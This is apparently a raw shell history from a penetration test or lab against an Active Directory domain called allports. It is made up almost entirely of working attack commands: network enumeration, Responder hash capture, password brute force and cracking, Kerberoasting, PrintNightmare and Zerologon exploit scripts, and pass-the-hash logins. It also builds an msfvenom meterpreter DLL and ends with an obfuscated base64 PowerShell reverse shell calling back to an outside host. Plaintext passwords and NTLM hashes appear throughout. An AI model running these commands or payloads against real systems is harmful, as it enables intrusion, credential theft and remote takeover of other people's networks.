impacket-rpcdump allports.tours/DECKHAND-01:''@10.0.1.20
impacket-rpcdump
impacket-rpcdump allports.tours/DECKHAND-01:''@10.0.1.20 > 10.0.1.20rpcdump.txt
cat 10.0.1.20rpcdump.txt
impacket-rpcdump allports.tours/DECKHAND-02:''@10.0.1.21 > 10.0.1.21rpcdump.txt
cat 10.0.1.21rpcdump.txt
impacket-rpcdump allports.tours/APT-DC-01:''@10.0.1.6 > 10.0.1.6rpcdump.txt
cat 10.0.1.6rpcdump.txt
cat 10.0.1.6rpcdump.txt | grep user
cat 10.0.1.20rpcdump.txt | grep user
cat 10.0.1.21rpcdump.txt | grep user
nxc smb 10.0.1.6 -u '' -p '' -M printnightmare
nxc smb 10.0.1.20 -u '' -p '' -M printnightmare
nxc smb 10.0.1.21 -u '' -p '' -M printnightmare
nxc smb 10.0.1.21 -u 'DECKHAND-02' -p '' -M printnightmare
nxc smb 10.0.1.20 -u 'DECKHAND-01' -p '' -M printnightmare
nxc smb 10.0.1.6 -u '' -p '' -M printnightmare --local-auth
cat 10.0.1.21rpcdump.txt | grep print
cat 10.0.1.21rpcdump.txt | grep spool
cat 10.0.1.6rpcdump.txt | grep print
cat 10.0.1.6rpcdump.txt
clear
cat 10.0.1.20rpcdump.txt
cat 10.0.1.21rpcdump.txt
diff 10.0.1.20rpcdump.txt 10.0.1.21rpcdump.txt
clear
smbclient -L \\\\10.0.1.20\\ -U 'DECKHAND-01'
smbclient -L \\\\10.0.1.6\\ -U 'DECKHAND-01'
clear
smbclient -L \\\\10.0.1.6\\ -U 'APT-DC-01'
clear
smbclient -L \\\\10.0.1.6\\ -U ''
smbclient -L \\\\10.0.1.20\\ -U ''
smbclient -L \\\\10.0.1.6\\ -U 'Guest'
nxc smb 10.0.1.6 -u '' -p '' -M smbghost
nxc smb 10.0.1.6 -u '' -p '' -M ms17-010
clear
nxc smb 10.0.1.6 -u '' -p '' -M smbghost
clear
crackmapexec smb 10.0.1.20 -u '' -p ''
crackmapexec smb 10.0.1.21 -u '' -p ''
crackmapexec smb 10.0.1.6 -u '' -p ''
crackmapexec smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.6 -u 'Guest' -p 'Guest'
nxc smb 10.0.1.20 -u 'Guest' -p 'Guest'
nxc smb 10.0.1.20 -u 'Guest' -p 'Guest' --local-auth
clear
cat 10.0.1.21rpcdump.txt
cat 10.0.1.20rpcdump.txt
clear
ip a
ifconfig
nmap -Pn -p- -sC -sV 10.0.1.20 -oN 10.0.1.20extrascan.txt
nmap -Pn -p- -sC -sV 10.0.1.21 -oN 10.0.1.21extrascan.txt
nmap -Pn -p- -sC -sV 10.0.1.6 -oN 10.0.1.6extrascan.txt
nxc smb 10.0.1.6 -u 'bfinn' -p 'SpringfieldFall2025'
nxc smb 10.0.1.6 -u 'ecarter' -p 'SpringfieldFall2025'
ls
clear
cat 10.0.1.6extrascan.txt
nxc smb 10.0.1.6 -u 'test' -p 'asdf'
nxc smb 10.0.1.6 -u 'test' -p 'asdf' --local-auth
nxc smb 10.0.1.20 -u 'test' -p 'asdf' --local-auth
nxc smb 10.0.1.20 -u 'test' -p 'asdf'
nxc smb 10.0.1.21 -u 'test' -p 'asdf' --local-auth
clear
impacket-rpcmap
impacket-rpcmap 10.0.1.21
impacket-rpcmap 10.0.1.20
cat 10.0.1.21rpcdump.txt
impacket-rpcmap allports.tours/DECKHAND-02:''@10.0.1.21
impacket-rpcmap allports.tours/DECKHAND-01:''@10.0.1.20
rpcclient -U "DECKHAND-02" 10.0.1.21


_raw: : 1762642038:0;nxc smb ../windows -u svc_stabilize -p 1gyroscope -k -M coerce_plus -o M=MSEven L=10.0.254.201


_raw: : 1762642029:0;gobuster dir -u http://10.0.1.99:8080 -w /wordlists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1762642020:0;nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope -k -M coerce_plus -o M=MSEven L=10.0.254.201


_raw: : 1762641974:0;impacket-GetUserSPNs -request -dc-ip 10.0.1.6 allports.local/rdavis:rosdav50


_raw: : 1762641958:0;hydra -L /usr/share/seclists/Usernames/cirt-default-usernames.txt -P /usr/share/wordlists/rockyou.txt -V ssh://10.0.1.11


_raw: : 1762641952:0;hydra -L /usr/share/seclists/Usernames/cirt-default-usernames.txt -P /usr/share/wordlists/rockyou.txt -V ssh://


_raw: : 1762641932:0;nxc smb APT-DC-01.allports.local -u '' -p '' --loggedon-users


_raw: : 1762641925:0;nxc smb APT-DC-01.allports.local -u '' -p '' --loggedon-use


_raw: : 1762641919:0;dirb https://chat.allports.tours/ /usr/share/wordlists/dirb/big.txt


_raw: : 1762641849:0;./ldapnomnom-linux-x64 --input names.txt --output results.txt --server 10.0.1.6 --parallel 4


_raw: : 1762641781:0;nxc ldap 10.0.1.6 -u rooms -p creds/pass --continue-on-success


_raw: : 1762641779:0;nmap -Pn -T4 -sV --script=ssh-auth-methods.nse 10.0.1.6


_raw: : 1762641768:0;./ldapnomnom-linux-x64 --input usernames.txt --output results.txt --server 10.0.1.6 --parallel 4


_raw: : 1762641723:0;./ldapnomnom-linux-x64 --input names.txt --output results.txt --server 10.0.1.6 --parallel 4


_raw: : 1762641716:0;sqlmap bb-d218.rooms.allports.tours --crawl=2


_raw:
whois https://allports.tours/
dig https://allports.tours/
ncat
sudo apt install ncat
ncat -l -p 8081
nmap -sL 10.0.1.0/24
ls
nmap -n -Pn --script "vuln and safe" 10.0.1.0/24
mysql


_raw: : 1762641640:0;nxc ldap 10.0.1.6 -u ../real_domain_users -p letmein


_raw: : 1762641596:0;hydra -t 1 -V -f -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt rdp://10.0.1.6


_raw:
adpeas
nmap --script broadcast-dhcp-discover
git clone https://github.com/dirkjanm/adidnsdump.git
cd adidnsdump
ls
python3 setup.py
pip install .\
curl -LsSf https://astral.sh/uv/install.sh | sh
uv venv
source .venv/bin/activate\
uv pip install .
sudo responder --interface "eth0" --analyze\
sudo responder --interface "eth0" -lm
sudo responder --interface "eth0" --lm
sudo responder --interface "eth0" --analyze\
sudo nano /etc/responder/Responder.conf
sudo responder --interface "eth0" -dwPv
sudo responder --interface "eth0"
sudo responder --interface "eth0" --lm
sudo responder --interface "eth0"
sudo nano /etc/responder/Responder.conf
sudo responder --interface "eth0"
sudo responder --interface "eth0" --lm
sudo nano /etc/responder/Responder.conf
sudo responder --interface "eth0" --lm
sudo responder --interface "eth0"
sudo nano /etc/responder/Responder.conf
sudo responder --interface "eth0"
sudo nano /etc/responder/Responder.conf
sudo responder --interface "eth0"
cd ..
nxc ldap targets.txt
ls
ls -la
cat password.txt
cat relay.out
nmap -Pn -p- 10.0.1.0/24 -T3


_raw:
nano spool.py
python3 spool.py
uv venv
source .venv/bin/activate\
uv pip install impacket
python3 spool.py
python3 spool.py 10.0.254.201 10.0.1.6
sudo python3 -m pip install coercer
uv pip install coercer
coercer
coercer scan 10.0.1.0/24
nano targets.txt
coercer scan -f targets.txt
coercer
coercer coerce -f targets.txt --listener-ip 10.0.254.201
S
coercer coerce -f targets.txt --listener-ip 10.0.254.201
coercer coerce -t 10.0.1.6 --listener-ip 10.0.254.201
S
coercer coerce -t 10.0.1.6 --listener-ip 10.0.254.201
coercer scan -t 10.0.1.6 --listener-ip 10.0.254.201
coercer scan -t 10.0.1.6
coercer scan -tf targets.txt
coercer scan -f targets.txt


_raw:
nmap -sVC -T3 10.0.1.6 -p- -vv
export TARGET_IP=10.0.1.6
impacket-rpcdump -port 135 $TARGET_IP\
impacket-rpcdump -port 135 $TARGET_IP > rpc.out
cat rpc.out | grep -i lsaquery
cat rpc.out | grep -i spool
open rpc.out
ls
git clone https://github.com/cube0x0/CVE-2021-1675.git
cd CVE-2021-1675
uv venv
ls
source .venv/bin/activate
ls
python3 CVE-2021-1675.py
uv pip install .
uv pip install impacket
python3 CVE-2021-1675.py
nxc smb 10.0.1.6 -u administrator -p iamthecaptain
nxc smb ../relay.out -u administrator -p iamthecaptain
nxc smb ../relay.out -u administrator -p iamthecaptain --local-auth
impacket-lookupsid allports.local/''@10.0.1.6 -no-pass\
impacket-lookupsid allports.local/''@10.0.1.6 -no-pass 20000\
nxc smb 10.0.1.6 -u '' -p '' --users\
sudo apt install enum4linux-ng\
ls
enum4linux-ng -A 10.0.1.6\
ldapdomaindump -u '' -p '' 10.0.1.6 -o ldap_output/\
nxc smb 10.0.1.6 -u '' -p '' --rid-brute 5000\
impacket-lookupsid allports.local/''@10.0.1.6 -no-pass\
impacket-rpcdump 10.0.1.6 | grep -i MS-RPRN
ls
python3 CVE-2021-1675.py allports.local/guest@10.0.1.6\
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.201 LPORT=4444 -f dll -o shell.dll\
python3 CVE-2021-1675.py allports.local/guest@10.0.1.6 '\\10.0.254.201\share\shell.dll'\
python3 CVE-2021-1675.py allports.local/guest:@10.0.1.6 '\\10.0.254.201\share\shell.dll'
python3 CVE-2021-1675.py allports.local/guest@10.0.1.6 '\\10.0.254.201\share\shell.dll'
python3 CVE-2021-1675.py allports.local/''@10.0.1.6 '\\10.0.254.201\share\shell.dll'\
cd ..
git clone https://github.com/SecuraBV/CVE-2020-1472.git
cd CVE-2020-1472
ls
python3 zerologon_tester.py
python3 zerologon_tester.py APT-DC-01 10.0.1.6
curl 10.1.0.14
curl 10.0.1.14
curl 10.0.1.14:80
curl 10.0.1.14:443
sudo nano /etc/host
sudo nano /etc/hosts


_raw: : 1762641509:0;hashcat -m 0 -a 0 hash /usr/share/wordlists/rockyou.txt


_raw: : 1762641498:0;hashcat -m 0 -a 0 hash /usr/share/wordlists/rockyou.txt.gz


_raw:
: 1762641492:0;curl 'http://admin.rooms.allports.tours/whoami' \\
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \\
  -H 'Accept-Language: en-US,en;q=0.9' \\
  -H 'Cache-Control: no-cache' \\
  -H 'Connection: keep-alive' \\
  -H 'Pragma: no-cache' \\
  -H 'Upgrade-Insecure-Requests: 1' \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36' \\
  --insecure


_raw: : 1762641396:0;sudo usermod -aG wireshark


_raw: : 1762641396:0;mongofiles goexport --help


_raw: : 1762641385:0;sudo usermod -aG wireshark


_raw: : 1762641369:0;hashcat -a 0 -m 0 '9c32a8efa0ddd43713f2add2d56a91d3' /usr/share/wordlists/rockyou.txt


_raw: : 1762641362:0;hashcat -a 0 -m 0 '9c32a8efa0ddd43713f2add2d56a91d3' -w /usr/share/wordlists/rockyou.txt


_raw: : 1762641354:0;journalctl -xeu ospd-openvas.service


_raw: : 1762641334:0;journalctl -xeu ospd.openvas.service


_raw: : 1762641314:0;poetry install && poetry shell


_raw:
: 1762641302:0;[200~curl 'http://admin.rooms.allports.tours/whoami' \\
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \\
  -H 'Accept-Language: en-US,en;q=0.9' \\
  -H 'Cache-Control: no-cache' \\
  -H 'Connection: keep-alive' \\
  -H 'Pragma: no-cache' \\
  -H 'Upgrade-Insecure-Requests: 1' \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36' \\
  --insecure~


_raw: : 1762641276:0;cd ItWasAllADream && poetry install && poetry shell


_raw: xfreerdp3 /v:DECKHAND-01 /u:svc_stabilize /d:allports.local /p:1gyroscope


_raw: xfreerdp3 /v:DECKHAND-01 /u:svc_stabilize /d:allports.local /kerberos:


_raw: xfreerdp3 /v:DECKHAND-01 /u:svc_stabilize /d:allports.local


_raw: xfreerdp3 /v:DECKHAND-01 /u:svc_stabilize /d:allports.local /cert-ignore


_raw: xfreerdp3 /v:DECKHAND-01 /u:svc_stabilize /d:allports.local /cert-ignore /log-level:INFO


_raw: xfreerdp3 /v:DECKHAND-01 /u:svc_stabilize /sec:nla /cert-ignore /log-level:INFO


_raw: xfreerdp3 /v:DECKHAND-01 /u:svc_stabilize /d:allports.local /sec:nla /cert-ignore /log-level:INFO


_raw: nxc smb windowshosts.txt -u 'svc_stabilize' -p '1gyroscope' -M timeroast


_raw: xfreerdp3 /v:10.0.1.20 /u:svc_stabilize /p:1gyroscope --help | grep kerb


_raw: xfreerdp3 /v:10.0.1.20 /u:svc_stabilize /p:1gyroscope --help


_raw: xfreerdp3 /v:10.0.1.20 /u:svc_stabilize /p:1gyroscope -k


_raw: xfreerdp3 /v:10.0.1.20 /u:svc_stabilize /p:1gyroscope


_raw: xfreerdp3 /i:10.0.1.20 /u:svc_stabilize /p:1gyroscope


_raw: evil-winrm -i DECKHAND-01 -r allports.local


_raw: nxc smb windowshosts.txt -u 'svc_stabilize' -p '1gyroscope' -k


_raw: evil-winrm -i DECKHAND-01.allports.local -r allports.local


_raw: evil-winrm -i DECKHAND-01 -u svc_stabilize -r allports.local


_raw: bloodyad -u '' -p '' -d allports.local --host 10.0.1.6 get search --base 'CN=Configuration,DC=allports,DC=local' --filter '(cn=Directory Service)' --attr dSHeuristics


_raw: bloodyad -u ' ' -p ' ' -d allports.local --host 10.0.1.6 get search --base 'CN=Configuration,DC=allports,DC=local' --filter '(cn=Directory Service)' --attr dSHeuristics


_raw: bloodyad -u ' ' -p ' ' -d allports.local --host 10.0.1.6 get search --base 'CN=Configuration,DC=domain,DC=local' --filter '(cn=Directory Service)' --attr dSHeuristics


_raw: bloodyad -u ' ' -p '' -d allports.local --host 10.0.1.6 get search --base 'CN=Configuration,DC=domain,DC=local' --filter '(cn=Directory Service)' --attr dSHeuristics


_raw: bloodyad -u '' -p '' -d allports.local --host 10.0.1.6 get search --base 'CN=Configuration,DC=domain,DC=local' --filter '(cn=Directory Service)' --attr dSHeuristics


_raw: nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -k --trusted-for-delegation


_raw: nxc ldap windowshosts.txt -u 'svc_stabilize' -p '1gyroscope' -k --trusted-for-delegation


_raw: nxc smb windowshosts.txt -u 'svc_stabilize' -p '1gyroscope' -k --trusted-for-delegation


_raw: nxc smb windowshosts.txt -u 'svc_stabilize' -p '1gyroscope' -k --delegation


_raw: nxc smb windowshosts.txt -u 'svc_stabilize' -p '1gyroscope' -k -M timeroast


_raw: nxc ldap windowshosts.txt -u 'svc_stabilize' -p '1gyroscope' -k -M ldap_checker


_raw: nxc smb windowshosts.txt -u 'svc_stabilize' -p '1gyroscope' -k -M webdav


_raw: ewp -i 10.0.1.20 -u svc_stabilize -p 1gyroscope


_raw: ewp -i 10.0.1.20 -u svc_stabilize -p 1gyroscope -r allports.local


_raw: nxc smb windowshosts.txt -u 'svc_stabilize' -p '1gyroscope' -k -M impersonate


_raw: nxc smb windowshosts.txt -u 'svc_stabilize' -p '1gyroscope' -k -L | less


_raw: nxc smb windowshosts.txt -u 'svc_stabilize' -p '1gyroscope' -k -M ntds-dump-raw


_raw: nxc smb windowshosts.txt -u 'svc_stabilize' -p '1gyroscope' -k -M dpapi_hash


_raw: getTGT.py Admin: -hashes :feea9205dd9654861fd53fb43460344f


_raw: getTGT.py /Admin: -hashes :feea9205dd9654861fd53fb43460344f


_raw: getTGT.py allports.local/Admin: -hashes :feea9205dd9654861fd53fb43460344f


_raw: getTGT.py allports.local/Admin: -hashes feea9205dd9654861fd53fb43460344f


_raw: nxc smb windowshosts.txt -u 'Admin' -H 'feea9205dd9654861fd53fb43460344f' -k


_raw: nxc smb windowshosts.txt -u 'svc_stabilize' -p '1gyroscope' -k --sam


_raw: nxc smb windowshosts.txt -u 'svc_stabilize' -p '1gyroscope' -k --shares


_raw: nxc smb windowshosts.txt -u 'svc_stabilize' -p '1gyroscope' -k


_raw: ./termshot -sf output.png -C 101 -- cat mimic.txt


_raw: smbclient.py -k -no-pass DECKHAND-02 --hel


_raw: nxc smb windowshosts.txt -u 'rdavis' -p 'rosdav50' -k


_raw: nxc smb windows -u 'svc_stabilize' -p '1gyroscope' -k


_raw: evil-winrm -i DECKHAND-01 -u svc_stabilize -r allports.local


_raw: evil-winrm -i DECKHAND-01 -r allports.local


_raw: evil-winrm -i DESKTOP-02 -r allports.local


_raw: evil-winrm -i 10.0.1.20 -r allports.local


_raw: evil-winrm -i 10.0.1.20 -u svc_stabilize -p 1gyroscope -r allports.local


_raw: ewp -i 10.0.1.20 -u svc_stabilize -p 1gyroscope -r allports.local


_raw: ewp -i 10.0.1.20 -u svc_stabilize -p 1gyroscope -k


_raw: ewp -i 10.0.1.20 -u svc_stabilize -p 1gyroscope


_raw: ewp /i:10.0.1.20 /u:svc_stabilize /p:1gyroscope


_raw: nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k


_raw: nxc ldap 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k


_raw: nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k -M lsassy


_raw: nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k --sam


_raw: nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k --dpapi


_raw: nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k --dpapi


_raw: nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k


_raw:
nxc smb windowshosts.txt
ip a
routes
route
clear
ls
cat ASREProastables.txt
rm ASREProastables.txt
ls
clear
nxc smb windowshosts.txt
nxc
nxc ldap windowshosts.txt
responder -i eth0
sudo responder2 -i eth0
cat ~/p
cat ~/password.txt
sudo responder2 -i eth0
sudo responder2 -I eth0
clear
cat ~/Commands.txt
sudo python3 /usr/local/bin/ldapdomaindump ldap://10.0.6.1 -u '' -p ''
sudo python3 ldapdomaindump ldap://10.0.6.1 -u '' -p ''
sudo ldapdomaindump ldap://10.0.6.1 -u '' -p ''
sudo ldapdomaindump ldap://10.0.1.6 -u '' -p ''
sudo ldapdomaindump ldap://10.0.1.6
ls
firefox domain_users.html
firefox domain_computers
firefox domain_computers.html
ldapsearch -H ldap://10.0.1.6 -x -b "uid=anonymous,ou=People,dc=challenge01,dc=root-me,dc=org
nxc smb 10.0.1.6
ldapsearch -H ldap://10.0.1.6 -x -b "uid=anonymous,ou=People,dc=APT-DC-01,dc=allports,dc=local"
sudo ldapdomaindump -u '' -p '' -d ldap://10.0.6.1
sudo ldapdomaindump -u '' -p '' -d ldap://10.0.1.6
nxc ldap windowshosts.txt
nxc
nxc rdp 10.0.1.6
nxc rdp windowshosts.txt
clear
cat windowshosts.txt
nxc rdp 10.0.1.21
nxc rdp 10.0.1.20
nxc rdp windowshosts.txt
route
ls
ls ~/Downloads/
gzip -d ~/Downloads/termshot_0.6.0_linux_amd64.tar.gz .
gzip -d ~/Downloads/termshot_0.6.0_linux_amd64.tar.gz
ls ~/Downloads/
file
tar -xf ~/Downloads/termshot_0.6.0_linux_amd64.tar
ls ~/Downloads/
ls
./termshot
./termshot -scf output.png -C nxc rdp windowshosts.txt
./termshot -scf output.png -- nxc rdp windowshosts.txt
clear
./termshot -scf output.png -- nxc rdp windowshosts.txt
ls ~/Downloads/
tar -xf ~/Downloads/termshot_0.6.0_linux_amd64.tar
ls
./termshot -scf output.png -- nxc rdp windowshosts.txt
clear
./termshot -scf output.png -- nxc rdp windowshosts.txt
clear
nxc rdp windowshosts.txt
./termshot -scf output.png -- nxc rdp windowshosts.txt
ls
firefox output.png
./termshot -scf output.png -C 9 -- nxc rdp windowshosts.txt
./termshot -scf output.png -C 50 -- nxc rdp windowshosts.txt
./termshot -scf output.png -C 100 -- nxc rdp windowshosts.txt
./termshot -scf output.png -C 101 -- nxc rdp windowshosts.txt
clear
cat creds.txt
sudo responder2 -i eth0
sudo responder2 -I eth0
nxc smb 10.0.1.6 -u 'APT-DC-01$' -H '43A8448E15CCA2C3F1941E64CFED442C268CDBA10BDFC096'
clear
sudo responder2 -I eth0
cd ~/WindowsTools/responder/logs
ls
cat SMB-NTLMv1-SSP-10.0.1.6.txt
cd ~/Loot
l
nano DCHashes.txt
cat DCHashes.txt
clear
cat DCHashes.txt
ls ~/WindowsTools/responder/logs/SMB-NTLMv1-SSP-10.0.1.6.txt
cat ~/WindowsTools/responder/logs/SMB-NTLMv1-SSP-10.0.1.6.txt
sudo responder2 -I eth0
clear
cat ~/WindowsTools/responder/logs/SMB-NTLMv1-SSP-10.0.1.6.txt
cat DCHashes.txt
ls
nano DCHashes1.txt
cat DCHashes
cat DCHashes.txt
cat DCHashes1.txt
./hashcat/hashcat
./hashcat/hashcat -m 5500 ~/Loot/DCHashes1.txt /usr/share/wordlists/rockyou.txt
ls
./hashcat/hashcat -m 5500 ~/Loot/DCHashes.txt /usr/share/wordlists/rockyou.txt
clear
ls
nxc smb 10.0.1.6 -u 'druiz' -p 'sails@way!'
nxc smb 10.0.1.6 -u 'druiz' -p 'Sails@way!'
nxc smb 10.0.1.6 -u 'druiz' -p 'Sails@way!' --shares
nxc smb 10.0.1.6 -u 'aphillips' -p 'Sails@way!' --shares
nxc smb 10.0.1.6 -u 'adiazll' -p 'Sails@way!' --shares
nxc smb 10.0.1.6 -u 'adiazll' -p 'Sails@way!'
nxc smb 10.0.1.6 -u 'lpeterson' -p 'Sails@way!'
nxc smb 10.0.1.20 -u 'lpeterson' -p 'Sails@way!'
nxc ldap 10.0.1.20 -u 'lpeterson' -p 'Sails@way!'
nxc ldap 10.0.1.6 -u 'lpeterson' -p 'Sails@way!'
getTGT.py allports.local/rdavis:'rosdav50'
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' -k
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -k
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' -k
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' -k
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' -k --dpapi
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' -k -M lsassy
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' -k --sam
nxc smb 10.0.1.20 -u 'Administrator' -p 'a4fa38e8e61d094ab455cecda06105d3'
nxc smb 10.0.1.20 -u 'Administrator' -H 'a4fa38e8e61d094ab455cecda06105d3'
getTGT.py allports.local/Administrator --hashes
getTGT.py allports.local/Administrator --hashes a4fa38e8e61d094ab455cecda06105d3
getTGT.py allports.local/Administrator -hashes a4fa38e8e61d094ab455cecda06105d3
nxc smb 10.0.1.21 -u 'Administrator' -H 'a4fa38e8e61d094ab455cecda06105d3'
nxc smb 10.0.1.6 -u 'Administrator' -H 'a4fa38e8e61d094ab455cecda06105d3'
nxc smb 10.0.1.6 -u 'Admin\' -H 'feea9205dd9654861fd53fb43460344f'
nxc smb 10.0.1.6 -u 'Admin' -H 'feea9205dd9654861fd53fb43460344f'
[200~# run from the impacket/examples/ dir or ensure getTGT.py is on your PATH
python3 getTGT.py -hashes :<NTHASH> <DOMAIN>/<USERNAME> -dc-ip <DC_IP>
getTGT.py -hashes :feea9205dd9654861fd53fb43460344f allports.local/Admin -dc-ip 10.0.1.6
getTGT.py -hashes :feea9205dd9654861fd53fb43460344f allports.local/Admin
getTGT.py -hashes feea9205dd9654861fd53fb43460344f allports.local/Admin
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' -k --sam
getTGT.py -hashes :a4fa38e8e61d094ab455cecda06105d3 allports.local/Administrator
nxc smb 10.0.1.6 -u 'Administrator' -H 'a4fa38e8e61d094ab455cecda06105d3'
nxc smb 10.0.1.6 -u 'Administrator' -H 'a4fa38e8e61d094ab455cecda06105d3' --local-auth
nxc smb windowshosts.txt -u 'Administrator' -H 'a4fa38e8e61d094ab455cecda06105d3'
nxc smb windowshosts.txt -u 'Administrator' -H 'a4fa38e8e61d094ab455cecda06105d3' -k
getTGT.py -hashes :a4fa38e8e61d094ab455cecda06105d3 allports.local/Administrator
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50'
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' -k
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' -k --shares
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' -k -x 'whoami'
getTGT.py allports.local/svc_stabilize:'1gyroscope'
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k
nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -k
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k
nxc smb 10.0.1.21 -u 'druiz' -p 'Sails@way!' -k
nxc smb 10.0.1.20 -u 'druiz' -p 'Sails@way!' -k
nxc smb 10.0.1.21 -u 'aphillips' -p 'Sails@way!' -k
nxc smb 10.0.1.21 -u 'adiazll' -p 'Sails@way!' -k
nxc smb 10.0.1.21 -u 'lpeterson' -p 'Sails@way!' -k
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k -X 'powershell -e cG93ZXJzaGVsbCAtbm9wIC1XIGhpZGRlbiAtbm9uaSAtZXAgYnlwYXNzIC1jICIkVENQQ2xpZW50\
ID0gTmV3LU9iamVjdCBOZXQuU29ja2V0cy5UQ1BDbGllbnQoJzEwLjAuMjU0LjIwMicsIDkwMDEp\
OyROZXR3b3JrU3RyZWFtID0gJFRDUENsaWVudC5HZXRTdHJlYW0oKTskU3RyZWFtV3JpdGVyID0g\
TmV3LU9iamVjdCBJTy5TdHJlYW1Xcml0ZXIoJE5ldHdvcmtTdHJlYW0pO2Z1bmN0aW9uIFdyaXRl\
VG9TdHJlYW0gKCRTdHJpbmcpIHtbYnl0ZVtdXSRzY3JpcHQ6QnVmZmVyID0gMC4uJFRDUENsaWVu\
dC5SZWNlaXZlQnVmZmVyU2l6ZSB8ICUgezB9OyRTdHJlYW1Xcml0ZXIuV3JpdGUoJFN0cmluZyAr\
ICdTSEVMTD4gJyk7JFN0cmVhbVdyaXRlci5GbHVzaCgpfVdyaXRlVG9TdHJlYW0gJyc7d2hpbGUo\
KCRCeXRlc1JlYWQgPSAkTmV0d29ya1N0cmVhbS5SZWFkKCRCdWZmZXIsIDAsICRCdWZmZXIuTGVu\
Z3RoKSkgLWd0IDApIHskQ29tbWFuZCA9IChbdGV4dC5lbmNvZGluZ106OlVURjgpLkdldFN0cmlu\
ZygkQnVmZmVyLCAwLCAkQnl0ZXNSZWFkIC0gMSk7JE91dHB1dCA9IHRyeSB7SW52b2tlLUV4cHJl\
c3Npb24gJENvbW1hbmQgMj4mMSB8IE91dC1TdHJpbmd9IGNhdGNoIHskXyB8IE91dC1TdHJpbmd9\
V3JpdGVUb1N0cmVhbSAoJE91dHB1dCl9JFN0cmVhbVdyaXRlci5DbG9zZSgpIgo='
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k 'powershell -e cG93ZXJzaGVsbCAtbm9wIC1XIGhpZGRlbiAtbm9uaSAtZXAgYnlwYXNzIC1jICIkVENQQ2xpZW50ID0gTmV3LU9iamVjdCBOZXQuU29ja2V0cy5UQ1BDbGllbnQoJzEwLjAuMjU0LjIwMicsIDkwMDEpOyROZXR3b3JrU3RyZWFtID0gJFRDUENsaWVudC5HZXRTdHJlYW0oKTskU3RyZWFtV3JpdGVyID0gTmV3LU9iamVjdCBJTy5TdHJlYW1Xcml0ZXIoJE5ldHdvcmtTdHJlYW0pO2Z1bmN0aW9uIFdyaXRlVG9TdHJlYW0gKCRTdHJpbmcpIHtbYnl0ZVtdXSRzY3JpcHQ6QnVmZmVyID0gMC4uJFRDUENsaWVudC5SZWNlaXZlQnVmZmVyU2l6ZSB8ICUgezB9OyRTdHJlYW1Xcml0ZXIuV3JpdGUoJFN0cmluZyArICdTSEVMTD4gJyk7JFN0cmVhbVdyaXRlci5GbHVzaCgpfVdyaXRlVG9TdHJlYW0gJyc7d2hpbGUoKCRCeXRlc1JlYWQgPSAkTmV0d29ya1N0cmVhbS5SZWFkKCRCdWZmZXIsIDAsICRCdWZmZXIuTGVuZ3RoKSkgLWd0IDApIHskQ29tbWFuZCA9IChbdGV4dC5lbmNvZGluZ106OlVURjgpLkdldFN0cmluZygkQnVmZmVyLCAwLCAkQnl0ZXNSZWFkIC0gMSk7JE91dHB1dCA9IHRyeSB7SW52b2tlLUV4cHJlc3Npb24gJENvbW1hbmQgMj4mMSB8IE91dC1TdHJpbmd9IGNhdGNoIHskXyB8IE91dC1TdHJpbmd9V3JpdGVUb1N0cmVhbSAoJE91dHB1dCl9JFN0cmVhbVdyaXRlci5DbG9zZSgpIgo='
